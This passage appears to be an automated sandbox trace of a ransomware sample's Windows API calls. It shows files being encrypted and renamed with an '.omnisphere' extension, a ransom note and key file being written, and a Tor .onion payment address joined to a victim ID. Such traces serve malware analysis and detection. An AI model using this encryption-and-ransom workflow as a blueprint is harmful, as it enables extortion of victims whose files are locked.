dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.312] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.313] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.314] CryptDestroyKey (hKey=0x1639b68) returned 1 [0126.314] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0126.314] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x61e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.314] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.314] GetProcessHeap () returned 0x1600000 [0126.314] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c0) returned 0x16ca0f0 [0126.314] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jy95-IFwT0kVEQ-TLBL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jy95-ifwt0kveq-tlbl.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jy95-IFwT0kVEQ-TLBL.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jy95-ifwt0kveq-tlbl.lnk.omnisphere")) returned 1 [0126.315] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jy95-IFwT0kVEQ-TLBL.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jy95-IFwT0kVEQ-TLBL.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jy95-IFwT0kVEQ-TLBL.lnk.omnisphere.id" [0126.315] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jy95-IFwT0kVEQ-TLBL.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jy95-ifwt0kveq-tlbl.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.327] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.328] CloseHandle (hObject=0x3c0) returned 1 [0126.328] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.328] CloseHandle (hObject=0x288) returned 1 [0126.328] SetEndOfFile (hFile=0x28c) returned 1 [0126.329] FlushFileBuffers (hFile=0x28c) returned 1 [0126.333] CloseHandle (hObject=0x28c) returned 1 [0126.333] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jy95-IFwT0kVEQ-TLBL.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.333] GetProcessHeap () returned 0x1600000 [0126.333] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0126.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.333] GetProcessHeap () returned 0x1600000 [0126.333] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5690 [0126.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5690, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.333] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.333] GetProcessHeap () returned 0x1600000 [0126.333] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0228 [0126.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0228, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.333] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.333] GetProcessHeap () returned 0x1600000 [0126.333] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bef68 [0126.334] PathCombineW (in: pszDest=0x16bef68, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.334] GetProcessHeap () returned 0x1600000 [0126.334] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d0f38 [0126.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.334] WriteFile (in: hFile=0x28c, lpBuffer=0x16d0f38*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d0f38*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.334] CloseHandle (hObject=0x28c) returned 1 [0126.335] GetProcessHeap () returned 0x1600000 [0126.335] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0126.335] GetProcessHeap () returned 0x1600000 [0126.335] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.335] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.335] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.336] CloseHandle (hObject=0x28c) returned 1 [0126.336] GetProcessHeap () returned 0x1600000 [0126.336] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.336] GetProcessHeap () returned 0x1600000 [0126.336] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bf808 | out: hHeap=0x1600000) returned 1 [0126.336] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf632f781, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x20a36918, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20a36918, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3bc, dwReserved0=0x0, dwReserved1=0xd3, cFileName="JzyJVtdcM.lnk", cAlternateFileName="JZYJVT~1.LNK")) returned 1 [0126.336] GetProcessHeap () returned 0x1600000 [0126.336] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656e08 [0126.336] PathCombineW (in: pszDest=0x1656e08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="JzyJVtdcM.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JzyJVtdcM.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JzyJVtdcM.lnk" [0126.336] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JzyJVtdcM.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jzyjvtdcm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.337] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=956) returned 1 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.337] GetTickCount () returned 0x115f876 [0126.338] GetTickCount () returned 0x115f876 [0126.338] GetTickCount () returned 0x115f876 [0126.338] GetTickCount () returned 0x115f876 [0126.338] GetTickCount () returned 0x115f876 [0126.338] GetTickCount () returned 0x115f876 [0126.338] GetTickCount () returned 0x115f876 [0126.338] GetTickCount () returned 0x115f876 [0126.338] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668d68) returned 1 [0126.338] 